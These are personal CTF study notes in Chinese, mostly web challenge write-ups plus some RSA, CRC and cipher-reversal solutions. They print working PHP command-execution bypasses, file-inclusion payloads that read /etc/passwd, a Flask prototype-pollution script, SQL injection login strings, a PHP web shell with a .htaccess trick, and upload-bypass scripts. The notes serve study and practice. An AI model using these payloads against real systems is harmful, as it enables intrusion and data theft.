CTF学习笔记

RSA入门(二) - Kicky_Mu - 博客园

按键音(即DTMF)解密网站:DTMF Decoder

PHP伪协议
e.g
http://node5.anna.nssctf.cn:25660/falg.php 不能通过
换思路
http://node5.anna.nssctf.cn:25660/flag
或者?file=php://filter/resource=flag

webdog1_start

if (isset($_GET['web']))
{
    $first=$_GET['web'];
    if ($first==md5($first)) 

对于$a==md5($a)这种类型的弱比较,数组是绕过不了的,这里用0e绕过弱比较

payload:?web=0e215962017
然后进入到start.php界面
![[Pasted image 20240926130034.png]]
然后继续Ctrl+U查看前端代码,可以看到hint
![[Pasted image 20240926130104.png]]
这里的bot指的就是robots.txt,访问一下
![[Pasted image 20240926130133.png]]
然后去访问f14g.php

抓包从返回头可以看到hint
![[Pasted image 20240926130253.png]]
接下来去访问F1l1l1l1l1lag.php访问得到代码

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
    $get=$_GET['get'];
    if(!strstr($get," ")){
        $get = str_ireplace("flag", " ", $get);
        
        if (strlen($get)>18){
            die("This is too long.");
            }
            
            else{
                eval($get);
          } 
    }else {
        die("nonono"); 
    }

}

我们需要以get方式传入get参数

并且传入参数不能存在,如果有flag,把flag利用str_ireplace()函数变成空格

字符串的长度要小于等于18,如果以上条件都满足,就会利用eval来执行get参数
绕过空格的方式很多,经常用到的是两个<重定向符,和间隔符$IFS

因为IFS为系统变量,默认值为空格,又因为变量的优先级要比命令高,所以可以使用命令+$IFS+参数的方式绕过空格过滤

但是我们并不能直接使用命令+$IFS+参数的方法进行绕过,比如cat$IFSflag,这样是不可以的,因为linux系统或将$IFSflag看做一个整体,从而不能正常的被解析为空格。所以需要在$IFS后面进行截断,以保证$IFS被成功解析有几种方式:

  1. 利用绝对路径前面的/分隔 cat$IFS/flag.php
  2. 利用通配符?分隔 ,?在linux里面可以进行代替字母

在linux里面可以进行模糊匹配 cat$IFS?lag.php
3.利用${}分隔cat$${IFS}flag.php
4.自定义变量:a=参数,命令$IFS$a cat$aflag.php
5.未过滤"0~9"、"@"、"*"命令$IFS$
格式:$$cat<fileName cat<>flag.txt
$$

对于文件重定向操作符绕过空格过滤,只能用于文件查看的相关命令,比如cat,head,tail,more等。

其他绕过方式:制表符%09%0a 制表符\t
至于绕过flag,这里也很简单,我看到基本都是用刚才讲到的*进行模糊匹配

而且因为长度原因,你最好使用一些比较短的绕过方式,比如cat就可以换成nl这种

最终payload:

?get=system("nl%09/*"); ?get=system("nl\t/*");

或者利用自定义变量

?get=eval($_GET['A']);&A=system('cat /flag');

所以你说你懂 MD5?

![[Pasted image 20240927133123.png]]
我们先分析第一个if 这里要求apple和banana的内容不相同但是md5值相同,这里可以使用数组绕过,因为数组为空时 都为null 所以第一个if

payload:apple[]=1&banana[]=2

第二个if判断必须为字符型而且是弱类型比较,PHP在处理哈希字符串的时候,它把每一个以0e开头的哈希值都解析为0。,那么就可以参数为字符串 计算出来的md5为0e且全是数字 即可实现,这里给大家提供两个
IHKFRNS             0e256160682445802696926137988570
QLTHNDT            0e405967825401955372549139051580
QNKCDZO           0e830400451993494058024219903391
3908336290        0e807624498959190415881248245271
4011627063        0e485805687034439905938362701775
4775635065        0e998212089946640967599450361168
0e215962017      0e291242476940776845150308577824
aabg7XSs           0e087386482136013740957780965295
aabC9RqS          0e041022518165728065344349536299
appple=240610708&bananana=QNKCDZO

第三个if要求内容可以不相同 但是md5值必须完全相同,用了强比较,所以这里给大家提供两个字符串
![[Pasted image 20240927133142.png]]
apppple=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&banananana=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
![[Pasted image 20240927133157.png]]
random_bytes(16) 生成一个16字节的随机字节序列,然后通过 bin2hex() 转换为32字符的十六进制字符串。

这个过程重复三次,因此最终生成了一个长度为96个字符的随机十六进制字符串。

并且判断了name是否等于admin

这里name直接补位即可
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin
最后一个if则需要扩展长度攻击,这里需要使用HashPump
https://www.hujiayucc.cn/post-26.html

圣钥之战1.0

源码如下

from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):

    for k, v in src.items():

        if hasattr(dst, '__getitem__'):

            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v

        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

def is_json(data):

    try:
        json.loads(data)
        return True
    except ValueError:
        return False

class cls():
    def __init__(self):
        pass

instance = cls()

@app.route('/', methods=['GET', 'POST'])

def hello_world():
    return open('/static/index.html', encoding="utf-8").read()

@app.route('/read', methods=['GET', 'POST'])
def Read():
    file = open(__file__, encoding="utf-8").read()
    return f"J1ngHong说:你想read flag吗?那么圣钥之光必将阻止你!但是小小的源码没事,因为你也读不到flag(乐){file}"

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
    if request.is_json:

        merge(json.loads(request.data),instance)
    else:
        return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
    return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"

if __name__ == '__main__':

    app.run(host='0.0.0.0',port=80)

通过file属性直接读取[环境变量]

__file__是从中加载模块的文件的路径名(如果它是从文件加载的)。__file__对于静态链接到解释器的C模块,该属性不存在。对于从共享库动态加载的扩展模块,它是共享库文件的路径名。

在read路由,可以读取__file__
那么我们污染全局变量__file__即可读取flag

脚本如下:

import requests
import json
 
# 构造污染原型链的 JSON 请求
payload= {
	"\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F": { # 在check中可以看到有black_list,__init__被过滤了,使用unioncode进行绕过
		"__globals__" : {
			"__file__": "../../../proc/1/environ" # 大部分的flag都隐藏在环境变量中
		}
	}
}
 
# 将 payload 转换为 JSON 字符串
json_payload = json.dumps(payload)
 
# 发送 POST 请求到 /pollute 路由
response = requests.post(
    "http://challenge.basectf.fun:22856/pollute",
    data=json_payload,
    headers={"Content-Type": "application/json"}
)
 
# 打印响应
print(response.text)
 
url2 = "http://challenge.basectf.fun:41643/read"
response2 = requests.get(url2)
print(response2.text)

直接进/read看源码,然后进/flag进行post方法传参一个json的payload: {"init" : {"globals" : {"file":"/flag"}}}

然后去/read就有flag了。
![[Pasted image 20240930111659.png]]

flag直接读取不就行了?

要先进行一次遍历: ?K=DirectoryIterator&W=/secret/

然后找到flag在/secret文件夹的f11444g.php

然后用伪协议读取内容: POST:J=SplFileObject&H=php://filter/read=convert.base64-encode/resource=/secret/f11444g.php

`<?php   highlight_file('index.php');   # 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~   
error_reporting(0);  
$J1ng $_POST['J'];  
$Hong $_POST['H'];  
$Keng $_GET['K'];  
$Wang $_GET['W'];  
$dir new $Keng($Wang); 
foreach($dir as $f) {       
echo($f '<br>');   }  
echo new $J1ng($Hong);   ?>   `.  
..  
f11444g.php  
PD9waHAgQmFzZUNURntlOTk1OGY1OC03YWFkLTQ1NzEtOGY5Yy1jMDM2MjE0MjNhZTZ9ID8+Cg==

[SWPUCTF 2021 新生赛]no_wakeup
题干

<?php  
  
header("Content-type:text/html;charset=utf-8");  
error_reporting(0);  
show_source("class.php");  
  
class HaHaHa{  
  
  
        public $admin;  
        public $passwd;  
  
        public function __construct(){            $this->admin ="user";            $this->passwd = "123456";  
        }  
  
        public function __wakeup(){            $this->passwd = sha1($this->passwd);  
        }  
  
        public function __destruct(){  
            if($this->admin === "admin" && $this->passwd === "wllm"){  
                include("flag.php");  
                echo $flag;  
            }else{  
                echo $this->passwd;  
                echo "No wake up";  
            }  
        }  
    }  
  
$Letmeseesee $_GET['p'];  
unserialize($Letmeseesee);  
  
?>

解题过程

  • HaHaHa
- `public $admin;``public $passwd;`:声明两个公共属性,分别为用户名和密码。
- `__construct()`:构造函数初始化`admin``"user"``passwd``"123456"`- `__wakeup()`:当对象通过 `unserialize()` 方法被反序列化时,`__wakeup()` 会被调用。这里 `__wakeup()``passwd` 经过 `sha1` 加密。
- `__destruct()`:在对象销毁时调用,判断条件是:如果 `admin` 的值为 `"admin"``passwd` 的值为 `"wllm"`,则包含 `flag.php` 并显示flag。

利用序列化构造
PHP的序列化格式如下:

O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

可以通过 $_GET 参数传递该序列化字符串来利用:

http://node7.anna.nssctf.cn:24666/class.php?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

0e8badd4ad37ed18f5277e01c66b5b39bb1c28faNo wake up

0e8badd4ad37ed18f5277e01c66b5b39bb1c28fa 是经过 sha1 加密后的结果,这意味着在你反序列化对象时,passwdsha1 处理过。

【网络安全 | CTF】攻防世界 fileclude

WRONG WAY! `<?php   
include("flag.php");   
highlight_file(__FILE__);  
if(isset($_GET["file1"]) && isset($_GET["file2"]))   {    $file1 $_GET["file1"];    $file2 $_GET["file2"];       if(!empty($file1) && !empty($file2))       {           if(file_get_contents($file2) === "hello ctf")           {               include($file1);           }       }       else           die("NONONO");   }`

file_get_contents函数可以使用php伪协议绕过:
Payload:?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input
Post写入: hello ctf

使file_get_contents($file2) === “hello ctf”

得到base64的flag为
PD9waHAKZWNobyAiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gY3liZXJwZWFjZXs4ZTM4ZmNiYzc4ZjEwNjY5ODY1MzljODAzMWJmN2I4NX0=
解密后
![[Pasted image 20241020101432.png]]

变量覆盖机制

foreach ($_POST as $key => $value) {
    $$key = $value;
}

foreach ($_GET as $key => $value) {
    $$key = $$value;
}
  • 第一部分遍历 $_POST 数组,将其中的键名和对应的值动态地赋值为变量。比如,$_POST['a'] = 'value' 将会创建 $a = 'value'
  • 第二部分遍历 $_GET 数组,将其中的键名和对应的值进一步动态地赋值。此时,$_GET['flag'] 会将 $flag 赋值为 $flag 的当前值,即覆盖变量。

常见的万能密码

  • ' OR '1'='1' --
  • ' OR 1=1 --
  • admin' --

1. 常见用户名猜测

许多系统默认会使用常见的用户名,以下是一些常见的用户名可以尝试:

  • admin
  • administrator
  • root
  • guest
  • user
  • test

题目攻防世界 (xctf.org.cn)

<?phphighlight_file(__FILE__);    include("./check.php");    if(isset($_GET['filename'])){        $filename  = $_GET['filename'];        include($filename);    }?>

文件包含:开发人员一般会把重复使用的函数写到单个文件中,当需要使用这个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。那正常来说包含的文件是固定的、写死的就不会存在文件包含漏洞,但是这样的话又不够便捷,所以开发人员为了使代码调用更加灵活,就会将被包含的文件设置为变量,用来进行动态调用。但正是由于这种灵活性,允许用户从客户端提交一个变量值来作为文件包含的变量值,当这个值是段恶意代码时,并且服务端又没有对用户的输入进行一个很好的过滤,就会造成文件包含漏洞。

实现文件包含功能的函数:include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readline。

本题利用filename参数带一段恶意代码进去,然后include函数执行恶意代码进而找到flag。不过会遇到很多过滤,要想办绕过去。

源码分析:

没什么好说的

简单补充一下:

  1. "  .  "  表示当前目录
  2. "  ..  "  表示当前目录的上一级目录。
  3. "  ./  "  表示当前目录下的某个文件或文件夹,视后面跟着的名字而定
  4. "  ../  "   表示当前目录上一级目录的文件或文件夹,视后面跟着的名字而定

URL 链接中 井号#、问号?、连接符& 分别有什么作用?_url里的问号-CSDN博客

文件包含一般都想到伪协议

伪协议种类
php://input:用于访问请求的原始POST数据。这在处理非表单编码的数据(如JSON、XML等)时非常有用。
php://output:用于将数据写入输出流,通常用于动态生成文件或发送数据到客户端。
php://filter:用于对读取的数据应用一系列过滤器。例如,你可以使用此伪协议来读取并转换文件的编码或进行压缩/解压缩操作。
file://:用于访问本地文件系统中的文件。通过此伪协议,你可以直接操作本地文件,如读取、写入等。
http:// 和 https://:用于发送HTTP请求并获取远程资源的内容。这可以用于获取远程网页的HTML内容或发送POST请求等。
ftp://:用于访问和操作FTP服务器上的文件。通过此伪协议,你可以实现与FTP服务器的交互,如上传、下载、删除文件等

PHP 伪协议详解-CSDN博客

PHP伪协议总结 - 个人文章 - SegmentFault 思否

五种常见的php伪协议-CSDN博客

尝试一些poc

filename=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

是一个 data: URL,它用于嵌入小文件内容在URLs中。这里的内容是Base64编码的,并且表示一个文本文件。

  • data: - 表示这是一个data URL。
  • text/plain - 表示文件的内容是纯文本。
  • base64 - 表示接下来的内容是用Base64编码的。

Base64编码的内容 PD9waHAgc3lzdGVtKCJscyIpPz4= 解码后是 <?php system("ls");?>

php://filter,用于读取源码,?filename=php://filter/read=convert.base64/resource=/etc/passwd

URL 参数表示尝试通过 PHP 的 php://filter 流来读取 /etc/passwd 文件的内容,并将内容以 Base64 编码的形式返回。这里,/etc/passwd 是一个常见的 Unix/Linux 系统文件,它包含了系统上所有用户的基本信息。

用 convert.iconv.[]过滤器绕过,[]中支持以下字符编码(* 表示该编码也可以在正则表达式中使用)

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*

<?php show_source(__FILE__);    $code = $_GET['code'];     if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){         die(' Hello');     }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){         @eval($code);     } ?>
1.过滤了字母数字和一些字符 没过滤~ 上取反试试
2.无参数函数system(current(getallheaders())); 执行http请求头第一条请求
3.burp抓包 添加rce请求头
恶意代码:
~%8c%86%8c%8b%9a%92]!%FF; HTTP/1.1


\\具体支持的编码可见php官方文档
\\https://www.php.net/manual/zh/mbstring.supported-encodings.php
from pwn import * import html context.log_level = "debug" host = "node4.anna.nssctf.cn:28674" command = "system(end(getallheaders()))" cmd = "ls /;cat /nssctfflag;" ##异或取反脚本
codes = command.replace(")","").split("(")[:-1][::-1]
res = ""
inline = ""
for code in codes: re_code = "~"+"".join(["%"+hex(255 - ord(i))[2:]for i in code]) res = f"[{re_code}][!%ff]({inline})"
inline = res print(res) res += ";" ##发送数据 
raw = f'''GET /?code={res} HTTP/1.1 Host: {host} Connection: close Content-Length: 0 cmd: {cmd} '''.replace("\n","\r\n").encode() 
io = remote(host.split(":")[0],host.split(":")[1],ssl=False) io.send(raw)
res = io.recvall().decode() html = html.unescape(res) 
print(html)

\具体支持的编码可见php官方文档
\https://www.php.net/manual/zh/mbstring.supported-encodings.php


依次遍历

![](https://i-blog.csdnimg.cn/blog_migrate/0d9f6d1b1928537b4a104e37f1e378cb.png)

攻防世界web---fileinclude

1.题目
2.点开链接ctrl+u发现有一段php代码(大概意思就是想让我们设置一个cookie值name为language)

3.可以利用抓包工具修改cookie值如下

4.点击go后可以在右边得到base64的编码

5.解码之后就可以得到flag

PHP签到题

`<?php      function waf($filename){    $black_list array("ph""htaccess""ini");    $ext pathinfo($filename, PATHINFO_EXTENSION);       foreach ($black_list as $value) {           if (stristr($ext$value)){               return false;           }       }       return true;   }      if(isset($_FILES['file'])){    $filename urldecode($_FILES['file']['name']);    $content file_get_contents($_FILES['file']['tmp_name']);       if(waf($filename)){        file_put_contents($filename$content);       } else {           echo "Please re-upload";       }   } else{    highlight_file(__FILE__);   }`

上传文件:

绕过原理就是这样,下面只需要上传文件,使用代码上传文件,先测试一下phpinfo()页面,观察是否可行

windows下不支持/作为文件名的一部分,所以需要进行url编码把 / 编码为%2f

刚好代码里会对文件名进行url解码,也算是一个小提示

访问2.php     搜索关键词flag得到flag

import requests
url = 'http://node5.anna.nssctf.cn:28714/'  # 上传文件地址
file_content = "<?php phpinfo(); ?>"
files = {'file': ('2.php%2f.', file_content)} 
response = requests.post(url=url, files=files)
print(response.text)

![[3ba12b6c29564cc58304aba272c11786.png]]

[BJDCTF 2020]easy_md5

在输入框中输入任意字符串,并使用F12查看响应头得到提示(pass经过md5加密后在传入sql语句中)。
NSSIMAGE
在输入框中输入ffifdyop万能密码绕过md5加密;跳转到新的页面并查看源码找新的页面levell14.php。
NSSIMAGE
NSSIMAGE
进入levell14.php页面并分析PHP代码,要使两值不等但md5全相等,则使用数组形式传入数据绕过md5加密得到flag。
NSSIMAGE

[NISACTF 2022]easyssrf

输入http://www.baidu.com,回显了百度主页。。
NSSIMAGE
大概率存在SSRF,随即http://127.0.0.1
NSSIMAGE
毕竟是CTF题,我们的主要目的是找flag,访问http://127.0.0.1/flag.php。
NSSIMAGE
访问http://127.0.0.1/fl4g回显404,试一下file:///fl4g
NSSIMAGE
直接去访问ha1x1ux1u.php。
NSSIMAGE
又是熟悉的配发,直接php://filter一把梭。
NSSIMAGE
NSSIMAGE

[suctf 2019]EasySQL

  • 对该题的考点总结
    这道题目需要我们去对后端语句进行猜解

1、输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有||

2、也就是select 输入的数据||内置的一个列名 from 表名=>即为

后台语句为:select $post[‘query’]||flag from Flag

输入
1;set sql_mode=PIPES_AS_CONCAT;select 1
得到flag
NSSIMAGE

判断出username的md5值是0e开头的字符串。username=240610708

ctf (hardrce)

知识点
取反过滤:取反过滤是先将命令取反,然后对其进行url编码最后在上传时再一次进行取反。

取反过滤可以绕过preg_match()过滤的所有字符和数字。

取反脚本

获取取反结果后在url注入栏输入

(取反结果1)(取反结果2);

<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
    die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

这段代码中正则过滤了所有字母和一些符号,但‘~’未被过滤。我们可以用取反过滤的方法来查看文件。首先我们要使用命令system(ls /)查看目录

我们对system 和 (ls /) 发别取反为%8C%86%8C%8B%9A%92 和%D7%93%8C%DF%D0%D6

payload: ?wllm=(~%8C%86%8C%8B%9A%92 )(~%D7%93%8C%DF%D0%D6);

![[Pasted image 20241115105947.png]]

再使用命令system(cat / flllllaaaaaaggggggg)查看flllllaaaaaaggggggg目录里的内容

取反操作同上

payload:?wllm=(~%8C%86%8C%8B%9A%92 )(~%D7%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98%D6);
![[Pasted image 20241115110002.png]]

CRC爆破PNG
由于CRC32只能对一位数据出错做出校正,而修改宽高时涉及的数据不一定只用一位,所以可以采取的办法只有枚举png图片的宽高,然后计算修改后图片的CRC值,与正确的CRC值比较看是否一致

import zlib  
import struct  
  
filename = '1.png'  
with open(filename, 'rb') as f:  
    all_b = f.read()  
    crc32key = int(all_b[29:33].hex(), 16)  
    data = bytearray(all_b[12:29])  
    n = 4095  # 理论上0xffffffff,但考虑到屏幕实际/cpu,0x0fff就差不多了  
    for w in range(n):  # 高和宽一起爆破  
        width = bytearray(struct.pack('>i', w))  # q为8字节,i为4字节,h为2字节  
        for h in range(n):  
            height = bytearray(struct.pack('>i', h))  
            for x in range(4):  
                data[x + 4] = width[x]  
                data[x + 8] = height[x]  
            crc32result = zlib.crc32(data)  
            if crc32result == crc32key:  
                # 2021.7.20,有时候显示的宽高依然看不出具体的值,干脆输出data部分  
                print(data.hex())  
                print("宽为:", end="")  
                print(width)  
                print("高为:", end="")  
                print(height)  
                exit(0)

修改宽和高:
4948445200000a00000004e90806000000
宽为:bytearray(b'\x00\x00\n\x00')
高为:bytearray(b'\x00\x00\x04\xe9')
![[Pasted image 20241117105641.png]]
![[205e2d8cb49d4428aa85a85fb56274ef.png]]

![[0d363f7e6f274f739c8cf5aef635a2d7.png]]

臭皮的计算机

知识点:ssti,八进制绕过

生成八进制编码绕过

def string_to_octal_escape(input_string):
    octal_escape = ''.join(f'\\{ord(char):03o}' for char in input_string)
    return octal_escape
 
# 示例
input_string = "__import__('os').popen('cat /flag').read()"
octal_escape_string = string_to_octal_escape(input_string)
print(f"字符串 '{input_string}' 的八进制转义表示为: {octal_escape_string}")
 
# 字符串 '__import__('os').popen('cat /flag').read()' 的八进制转义表示为: 
# \137\137\151\155\160\157\162\164\137\137\050\047\157\163\047\051\056\160\157\160\145\156\050\047\143\141\164\040\057\146\154\141\147\047\051\056\162\145\141\144\050\051

Include Me
![[Pasted image 20241117163000.png]]

``<?php   highlight_file(__FILE__);   function waf(){       if(preg_match("/<|\?|php|>|echo|filter|flag|system|file|%|&|=|`|eval/i",$_GET['me'])){           die("兄弟你别包");       };   }   if(isset($_GET['phpinfo'])){    phpinfo();   }      //兄弟你知道了吗?   if(!isset($_GET['iknow'])){    header("Refresh: 5;url=https://cn.bing.com/search?q=php%E4%BC%AA%E5%8D%8F%E8%AE%AE");   }      waf();   include $_GET['me'];   echo "兄弟你好香";   ?>   ``  
**Notice**: Undefined index: me in **/var/www/html/index.php** on line **4**  
  
**Notice**: Undefined index: me in **/var/www/html/index.php** on line **18**  
  
**Warning**: include(): Filename cannot be empty in **/var/www/html/index.php** on line **18**  
  
**Warning**: include(): Failed opening '' for inclusion (include_path='.:/usr/local/lib/php') in **/var/www/html/index.php** on line **18**  
兄弟你好香

ikown=1&me=data://text/plain;base64,PD89c3lzdGVtKCJ0YWMgL2ZsYWciKTs

just one and more than two

很常见的 RSA 板子题。在一般的 RSA 中,我们有

如果你不知道,那就再回去温习一下 Week 1 中对于 RSA 的相关知识

针对 just one 的情况:

针对 more than two 的情况:

其他和普通 RSA 一样解即可

from Crypto.Util.number import *
p=11867061353246233251584761575576071264056514705066766922825303434965272105673287382545586304271607224747442087588050625742380204503331976589883604074235133
q=11873178589368883675890917699819207736397010385081364225879431054112944129299850257938753554259645705535337054802699202512825107090843889676443867510412393
r=12897499208983423232868869100223973634537663127759671894357936868650239679942565058234189535395732577137079689110541612150759420022709417457551292448732371
c1=8705739659634329013157482960027934795454950884941966136315983526808527784650002967954059125075894300750418062742140200130188545338806355927273170470295451
c2=1004454248332792626131205259568148422136121342421144637194771487691844257449866491626726822289975189661332527496380578001514976911349965774838476334431923162269315555654716024616432373992288127966016197043606785386738961886826177232627159894038652924267065612922880048963182518107479487219900530746076603182269336917003411508524223257315597473638623530380492690984112891827897831400759409394315311767776323920195436460284244090970865474530727893555217020636612445
e=65537
 
phi_1 = p-1
d1 = inverse(e, phi_1)
m1 = pow(c1, d1, p)
 
phi_2 = (p-1)*(q-1)*(r-1)
d2 = inverse(e, phi_2)
m2 = pow(c2, d2, p*q*r)
 
print(long_to_bytes(m1)+long_to_bytes(m2))

茶里茶气

# from Crypto.Util.number import *  
#  
# flag = "flag{*****}"  
# assert len( flag ) == 25  
#  
# a = ""  
# for i in flag:  
#     a += hex(ord(i))[2:]  
# l = int(a,16).bit_length()  
# print("l  =" , l )  
#  
# v0 = int(a,16)>>(l//2)  
# v1 = int(a,16)-(v0<<(l//2))  
# p = getPrime(l//2+10)  
#  
# v2 = 0  
# derta = 462861781278454071588539315363  
# v3 = 489552116384728571199414424951  
# v4 = 469728069391226765421086670817  
# v5 = 564098252372959621721124077407  
# v6 = 335640247620454039831329381071  
# assert v1 < p and v0 < p and derta < p and v3 < p and v4 < p and v5 < p and v6 < p  
#  
# for i in range(32):  
#     v1 += (v0+v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 ) ; v1 %= p  
#     v0 += (v1+v2) ^ ( 8*v1 + v5 ) ^ ( (v1>>7) + v6 ) ; v0 %= p  
#     v2 += derta ; v2 %= p  
#  
# print( "p  =" , p  )  
# print( "v0 =" , v0 )  
# print( "v1 =" , v1 )  
#  
# """  
# l  = 199  
# p  = 446302455051275584229157195942211  
# v0 = 190997821330413928409069858571234  
# v1 = 137340509740671759939138452113480  
# """  
from Crypto.Util.number import long_to_bytes  
  
# 已知参数  
l = 199  # 长度  
p = 446302455051275584229157195942211  
v0 = 190997821330413928409069858571234  
v1 = 137340509740671759939138452113480  
v2 = 0  
delta = 462861781278454071588539315363  
v3 = 489552116384728571199414424951  
v4 = 469728069391226765421086670817  
v5 = 564098252372959621721124077407  
v6 = 335640247620454039831329381071  
for i in range( 32 ):  
    v2 += delta ; v2 %= p  
# 逆推32轮  
for i in range(32):  
    v2 -= delta  
    v2 %= p  
    v0 -= ((v1 + v2) ^ (8 * v1 + v5) ^ ((v1 >> 7) + v6)) % p  
    v0 %= p  
    v1 -= ((v0 + v2) ^ (8 * v0 + v3) ^ ((v0 >> 7) + v4)) % p  
    v1 %= p  
  
a = hex((v0 << ((l // 2))) + v1)[2:]  
  
flag = ""  
for i in range(0, len(a), 2):  
    flag += chr(int(a[i] + a[i + 1], 16))  
  
print(flag)

flag{f14gg9_te2_1i_7ea_7}

WEB

万能密码
![[Pasted image 20241130102543.png]]

3.正则表达式相关

1.ereg正则%00截断:

ereg函数存在NULL截断漏洞,使用NULL可以截断过滤,所以可以使用%00截断正则匹配。即ereg函数 读到 %00 的时候,就截止了。

2.数组绕过:正则表达式相关的函数也可以使用数组绕过过滤,绕过方法详见数组返回NULL绕过。

上面那道题也可以用数组绕过。

3.单引号绕过preg_match()正则匹配:

在每一个字符前加上单引号可以绕过preg_match的匹配,原理暂时不明。

例如有如下代码:

<?php
    $p = $_GET['p'];
    if (preg_match('/[0-9a-zA-Z]{2}/',$p) === 1) {
        echo 'False';
    } else {
        $pp = trim(base64_decode($p));
        if ($pp === 'flag.php') {
            echo 'success';
        }
    }
?>

payload:p=‘Z’m’x’h’Z’y’5’w’a’H’A’=

垫刀之路05

这是一个登陆页面。听说管理员叫 admin123 ,而且只要登陆成功,就会显示 flag 。可是,听管理员自己说,它自己的密码在密码强度检查器网站上,需要上百年才能被破译。那么,我们应该怎么登陆进去呢?
![[Pasted image 20241129205147.png]]

创建木马文件 <script language='php'>@eval($_REQUEST['shell']);</script>

创建.htaccess配置文件

SetHandler application/x-httpd-php

Step1.上传.htaccess 文件,内容如下:<FilesMatch "1.png">
SetHandler application/x-httpd-php

[HCTF 2018]Warmup 详细题解

知识点:
目录穿越_文件包含

static静态方法

参数传递引用
mb_strpos函数 mb_substr函数

正文:

页面有一张 滑稽 的表情包,查看一下页面源代码,发现提示

那就访问/source.php 得到源码

<?php
        highlight_file(__FILE__);
        class emmm
        {
            public static function checkFile(&$page)
            {
                $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
                if (! isset($page) || !is_string($page)) {
                    echo "you can't see it";
                    return false;
                }
     
                if (in_array($page, $whitelist)) {
                    return true;
                }
     
                $_page = mb_substr(
                    $page,
                    0,
                    mb_strpos($page . '?', '?')
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }
     
                $_page = urldecode($page);
                $_page = mb_substr(
                    $_page,
                    0,
                    mb_strpos($_page . '?', '?')
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }
                echo "you can't see it";
                return false;
            }
        }
     
        if (! empty($_REQUEST['file'])
            && is_string($_REQUEST['file'])
            && emmm::checkFile($_REQUEST['file'])
        ) {
            include $_REQUEST['file'];
            exit;
        } else {
            echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
        }  
    ?> 

可以看到有一个hint.php 访问一下

提示flag not here, and flag in ffffllllaaaagggg 得到了flag文件名
代码审计:

前面都是类中的代码,先看最后的代码

if (! empty($_REQUEST['file'])
            && is_string($_REQUEST['file'])
            && emmm::checkFile($_REQUEST['file'])
        ) {
            include $_REQUEST['file'];
            exit;
        } else {
            echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
        }  

$_REQUEST 可以接收 GET POST COOKIE 传入的参数

需要存在file参数是字符串类型,并且经过emmm类中的checkFile方法返回true,才能执行include函数进行文件包含

这里没有创建emmm类的实例就可以引用其中的方法,是因为类中static表示是一个静态方法,可以通过类名直接调用,而不需要创建类的实例

目标明确之后开始看emmm类中的代码,类中也只有一个checkFile 方法,所以很简单,顺着往下看

给出了白名单,是source.php 和 hint.php 然后对参数page设置了条件

参数page就是传入的file数据,这里用了&$page,表示可以直接修改传入的变量,而不需要返回值来更新该变量

最终的目的是include $_REQUEST['file'] 包含其中有flag的文件,也就是ffffllllaaaagggg

目标就是让参数file也就是类中参数page包含ffffllllaaaagggg的同时满足checkFile方法返回true

首先page参数需要存在并且是字符串类型,然后if(in_array($page, $whitelist)) 这个判断是无法满足的,因为得有flag文件名,但是没影响,只要不返回false就行,接着往下看

$_page = mb_substr(
                    $page,
                    0,
                    mb_strpos($page . '?', '?')
                );

    mb_strpos函数:  查找字符串在另一个字符串中首次出现的位置
     
    mb_strpos ($haystack , $needle , $offset )
    $haystack:被搜索的字符串
    $needle:  要查找的字符串
    $offset:  可选参数,指定从哪个字符开始搜索
    //如果为正数,则从字符串的开头开始计算;如果是负数,则从字符串的末尾开始计算
    //没有的话默认是0,即从开头开始搜索
     
